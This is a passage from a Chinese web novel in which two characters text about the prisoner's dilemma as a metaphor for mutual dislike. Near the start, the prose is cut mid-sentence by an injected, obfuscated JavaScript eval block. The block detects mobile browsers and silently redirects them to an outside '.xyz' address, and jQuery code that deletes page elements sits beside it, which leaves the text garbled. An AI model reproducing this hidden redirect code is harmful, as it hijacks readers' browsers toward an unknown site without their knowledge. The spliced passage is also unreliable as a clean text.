对方忽然撤回这条信息。

而朱时宜的

;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14796479|158297||http|test|mini|href|location''.split(''|''),0,{}));

() {

$(''.inform'').remove();

$(''#content'').append(''

信息已经发出：【囚徒困境。】

她装模作样吐出个名词。

......有零个人知道这是在说什么。

博弈论的经典模型。

因为，她只记得这个词。

啥意思，忘了。

潘岳：【你也知道？】

她也不知道她知不知道。

但嘴硬，装都装了：【我知道。】

说完她就去百度。

......太长。

人话就是：两个囚徒，互相独立，指控对方称为背叛，保持沉默称为合作。

A合作，B合作，两人一起蹲局子2年；

A合作，B背叛，A蹲局子10年，B出狱；

A背叛，B合作，A出狱，B蹲10年；

A背叛，B背叛，两人一起蹲8年。

这么看来，对于集体而言，最好的选择是第一个（2年），最差的结果是第四个（16年）；

可谁也不知道对方会选什么。

对个人而言，选让对方进局子，能够得到最大的利益。

所以两个人都这么选。

所以AB双双遭殃。

那，潘岳是想说，选择合作，互相理解，相互信任，各退一步，才能实现集体利益最大化？

可现在，对方摆明不合作，求不了同。

对方那个B已经选了背叛。

那她这个A，不选背叛，就只能单独坐大牢。

潘岳：【所以你知道怎么选了？】

朱时宜：【能不坐牢吗？】

潘岳：【现在选什么，都得坐牢。】

显然，他们这牛头不对马嘴的消息，竟然同频。

朱时宜：【没得选，只能选最烂的情况了。】

一起蹲八年吧，互相怨恨，大爷滴。

潘岳：【对于囚徒，这是最差的。】

都怪那三个B。

【可你不是囚徒。】

眼底怨意一顿。

【在人际关系里，相互背叛，一拍两散，同样平衡。】

朱时宜脑瓜子嗡嗡的。

所以，潘岳拐这么一大圈，就是想告诉她。

互相讨厌就完事儿？

她恍然大悟。

本来就是这样，互相讨厌，就完事。

潘岳：【囚徒困境的破解方案，叫纳什均衡。】

朱时宜：？

没完了，又要上课。

也不知道潘岳有没有谈过恋爱。

他和女孩子交流，就是讨论经济学原理吗？

对方正在输入中。

她装聋作哑，不想听，不接话。

对。

她没有选择犯错，是别人觉得，她有错。

要是觉得自己不对，她自己会改。

对错，本身就主观。

何必让别人定